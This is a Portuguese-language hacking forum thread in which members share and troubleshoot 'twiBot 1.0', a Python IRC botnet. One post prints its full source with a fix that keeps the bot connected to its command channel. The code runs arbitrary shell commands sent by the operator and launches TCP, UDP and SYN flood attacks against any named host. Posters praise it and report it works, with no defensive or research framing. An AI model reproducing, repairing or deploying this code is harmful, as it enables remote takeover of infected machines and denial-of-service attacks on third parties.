Página 1 de 2 12 ÚltimoÚltimo
Resultados 1 a 10 de 11

Tópico: Botnet em Python

  1. #1
    Newbie
    Data de Ingresso
    May 2008
    Posts
    21
    Post Thanks / Like

    Lightbulb Botnet em Python

    Olá amigos segue abaixo uma source do botnet twiBot 1.0 feito pelo Twi Jhon!


    # Commandos:
    # --------------------------------------------------------------
    # --connect [PASSWORD]
    #
    # --execute [COMMAND]
    # --tcp_attack [HOST] [PORT] [SIZE] [TIME]
    # --udp_attack [HOST] [PORT(use - for all ports)] [SIZE] [TIME]
    # --syn_attack [HOST] [PORT] [TIME]
    # --speak [MESSAGE]
    # --quit
    # --------------------------------------------------------------


    https://github.com/twijohn/Twi-John-...ster/twibot.py

    Funciona perfeitamente, mas estou com um problema que é o seguinte o servidor IRC da um PING e tenho que responder um PONG, se não houver esta resposta o bot saí do canal.
    Sou dev em PHP estou procurando alguém que entenda de Python para ajudar.
    Att,
    Eric Luciano

  2. #2
    Membro Avatar de podolcee
    Data de Ingresso
    Jan 2011
    Localização
    Crecendo ...
    Posts
    270
    Post Thanks / Like
    Esse Botnet nem roda está dando varios erros de compilação, tudo mundo está reclamando !
    Não mexe comigo eu sou Feroz !

  3. #3
    Hacker ingresso Avatar de guedes.acp
    Data de Ingresso
    Sep 2010
    Localização
    #!/usr/bin/env perl
    Posts
    1.445
    Post Thanks / Like
    Citação Postado originalmente por podolcee Ver Post
    Esse Botnet nem roda está dando varios erros de compilação, tudo mundo está reclamando !

    É por isso que da erro, você tentou compilar!!! Como um "Python Basic Programmer" você pode indicar os erros e tentar corrigir-los!
    So respondo se a consiencia perguntar!!!
    Não Respondo MP's de perguntas, as faça em um tópico!

    Perl User, Bioinformatcs Programmer!


    just another biomedical perl hacker try to learn Delphi

  4. #4
    Membro Avatar de podolcee
    Data de Ingresso
    Jan 2011
    Localização
    Crecendo ...
    Posts
    270
    Post Thanks / Like
    Citação Postado originalmente por acpguedes Ver Post
    É por isso que da erro, você tentou compilar!!! Como um "Python Basic Programmer" você pode indicar os erros e tentar corrigir-los!
    Repare no que eu falei varios erros, algums eu consertei !
    é por que é fogo se você fazer o desalinhamento no código o script nem funciona KKK
    Não mexe comigo eu sou Feroz !

  5. #5
    Veterano ingresso
    Data de Ingresso
    Jan 2011
    Localização
    Pguá ~ PR
    Posts
    2.363
    Post Thanks / Like
    =)

    Muito interessante esse código, achei legal também que aborda o uso de thread's

  6. #6
    Newbie
    Data de Ingresso
    May 2008
    Posts
    21
    Post Thanks / Like
    Obs a todos o bot roda perfeitamente tenho ele na versão python 2.7 e tenho ele como um exe!
    O que acontece é que não estou conseguindo responder ao server irc e por isto postei, para ver se alguém tem uma idéia de como fazer o PONG!, visto que sou dev em PHP e iniciante em Python!
    Att,
    Eric Luciano

  7. #7
    Newbie
    Data de Ingresso
    May 2008
    Posts
    21
    Post Thanks / Like
    Consegui resolver o problema, caso alguém precise entre em contato!
    Att,
    Eric Luciano

  8. #8
    Hacker ingresso Avatar de guedes.acp
    Data de Ingresso
    Sep 2010
    Localização
    #!/usr/bin/env perl
    Posts
    1.445
    Post Thanks / Like
    Citação Postado originalmente por podolcee Ver Post
    Repare no que eu falei varios erros, algums eu consertei !
    é por que é fogo se você fazer o desalinhamento no código o script nem funciona KKK
    Comigo funcionou perfeitamente, talvez o problema seja na BIOS ou USB!

    Bem mas se você corrigiu o script posta ele corrigido ai pra gente!

    Agora, se vc COMPILOU, meus parabens, mas o problema COMPILAR Python é o mesmo de complilar Perl,
    o executavel fica muito grande, as vezes nem executa!

    Por isso disse que talvez o problema seja você ter tentado compilar, so interpretar ja seria o suficiente!
    So respondo se a consiencia perguntar!!!
    Não Respondo MP's de perguntas, as faça em um tópico!

    Perl User, Bioinformatcs Programmer!


    just another biomedical perl hacker try to learn Delphi

  9. #9
    Newbie
    Data de Ingresso
    May 2008
    Posts
    21
    Post Thanks / Like
    Detalhe este botnet é realmente muito bom, tenho em py como falei e em exe e ambos funcionam perfeitamente, abaixo segue a correção da resposta ao PING do IRC!

    Código:
    #!/usr/bin/python
    # TwiBot 1.0
    # Group: C0d3rs 
    # Author: Twi John
    # WebSite: http://twijohn.blogspot.com/
    #
    # Greetz: Hashin, F0k3rDebug, _mlk_, L4rg4d0, sexpistol, M4CK, c00l3r_, m0nad, akm4nd, b0tluk, sigsegv...
    #
    #   ________
    #  | ______ |
    #  || |  | ||
    #  || |  | ||   Hello, Join us: 
    #  ||______||  #c00kies #cogubin
    #  |________|
    #    |    |
    #   /|    |\
    #  //|    |\\
    #  0 |    | 0
    #    |____|
    #     ||||
    #    _||||_
    #   |__||__|
    #
    #  Commands:
    # --------------------------------------------------------------
    # --connect [PASSWORD]
    #
    # --execute [COMMAND]
    # --tcp_attack [HOST] [PORT] [SIZE] [TIME]
    # --udp_attack [HOST] [PORT(use - for all ports)] [SIZE] [TIME]
    # --syn_attack [HOST] [PORT] [TIME]
    # --speak [MESSAGE]
    # --quit
    # --------------------------------------------------------------
    
    
    import socket
    from time import sleep
    from re import search
    from random import randint, choice
    from os import system
    from sys import exit
    from thread import start_new_thread
    
    
    
    
    Server = "ircserver"
    Channel = "#"
    Port = 6667
    Nick = "Bot"
    Password = ""
    
    
    np = str(randint(0,100000))
    np += choice("abcdefghijklmnopqrstuvwxyz012345678910")
    Nick += np
    
    
    def tcp():
    	tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    	tcp.connect((msg[0], int(msg[1])))	
    	sizeb = "$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$" * int(msg[2]) + "\r\n"
    	for i in range(0,int(msg[3])):	
    		try:
    			tcp.send(sizeb)
    		except socket.error:
    			tcp.close()
    			tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    			tcp.connect((msg[0], int(msg[1])))
    			pass
    	s.send("PRIVMSG %s : --> TCP attack finalized.\r\n" % Channel)
    
    
    def udp():
    	sizeb = "$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$" * int(msg[2]) + "\r\n"	
    	udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)	
    	if search("-", msg[1]):
    		portif = msg[1].split("-")
    		for ia in range(0,int(msg[3])):		
    			for i in range(int(portif[0]), int(portif[1]) + 1):
    				try:
    					udp.connect((msg[0], i))
    					udp.send(sizeb)
    				except socket.error:
    					udp.close()
    					udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)			
    					pass
    		s.send("PRIVMSG %s : --> UDP attack finalized.\r\n" % Channel)
    	else:
    		udp.connect((msg[0],int(msg[1])))		
    		for ia in range(0,int(msg[3])):				
    			try:
    				udp.send(sizeb)
    			except socket.error:
    				udp.close()
    				udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)		
    				udp.connect((msg[0],int(msg[1])))	
    				pass
    
    
    		s.send("PRIVMSG %s : --> UDP attack finalized.\r\n" % Channel)
    
    
    def conn(i):
    	try:
    		syn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    		syn.connect((msg[0],int(msg[1])))
    		sleep(10000)
    		syn.close()
    	except socket.error:
    		pass
    def syn():
    	for i in range(0,int(msg[2])):
    		start_new_thread(conn, (0,))
    		sleep(0.01)
        	s.send("PRIVMSG %s : --> SYN attack finalized.\r\n" % Channel)
    
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((Server,Port))
    print s.recv(1024)
    s.send("NICK %s\r\n" % Nick) 
    print s.recv(1024)
    s.send("USER %s r00att r0tlandia:Johny fino0\r\n" % Nick)
    print s.recv(1024)
    s.send("join %s\r\n" % Channel)
    sleep(2)
    print s.recv(1024)
    
    
    v = False
    while v != True:
    	msg = s.recv(5000)
    	print msg
            if msg[0:4] == "PING":
                  #Respondendo ao Servidor IRC
                  s.send(msg.replace("PING", "PONG"))
    
    
            if search("--connect %s" % Password, msg):
    		s.send("PRIVMSG %s : --> Connected! \r\n" % Channel)
    		v = True
    
    
    while(1):
    	msg = s.recv(5000)
    	print msg
            if msg[0:4] == "PING":
                  #Respondendo ao Servidor IRC
                  s.send(msg.replace("PING", "PONG"))
                  
    	if search("--execute", msg):
    		msg = msg.split("--execute")		
    		msg = msg[1].split("\r\n")
    		s.send("PRIVMSG %s : --> OK \r\n" % Channel)
    		system(msg[0])
    
    
    	elif search("--quit", msg):
    		s.send("Quit\r\n")
    		exit(1)
    
    
    	elif search("--tcp_attack", msg):
    		msg = msg.split("--tcp_attack")
    		msg = msg[1].split(" ")
    		msg.pop(0)
    		if len(msg) == 4:
    			s.send("PRIVMSG %s : --> Attacking TCP!\r\n" % Channel)
    			tcp()
    	elif search("--udp_attack", msg):
    		msg = msg.split("--udp_attack")
    		msg = msg[1].split(" ")
    		msg.pop(0)
    		if len(msg) == 4:
    			s.send("PRIVMSG %s : --> Attacking UDP!\r\n" % Channel)
    			udp()
    	elif search("--syn_attack", msg):
    		msg = msg.split("--syn_attack")
    		msg = msg[1].split(" ")
    		msg.pop(0)
    		if len(msg) == 3:
    			s.send("PRIVMSG %s : --> Attacking with SYN!\r\n" % Channel)
    			syn()
    	elif search("--speak", msg):
    		msg = msg.split("--speak")
    		msg.pop(0)
    		msg = msg[0].strip()
    		s.send("PRIVMSG %s :%s\r\n" % (Channel, msg))
    Att,
    Eric Luciano

  10. #10
    Newbie
    Data de Ingresso
    Sep 2008
    Posts
    24
    Post Thanks / Like
    Acordando esse tópico porque achei agora ele. Isso acontece por que cada servidor é configurado de formas diferentes, então é preciso sempre fazer adaptções, qualquer duvida só falar.

    Eric.suporte obrigado por ajudar no código, já acrescentei e coloquei créditos a você : https://github.com/twijohn/Twi-John-...ster/twibot.py

Tags para este Tópico

Permissões de Postagem

  • Você não pode iniciar novos tópicos
  • Você não pode enviar respostas
  • Você não pode enviar anexos
  • Você não pode editar suas mensagens
  •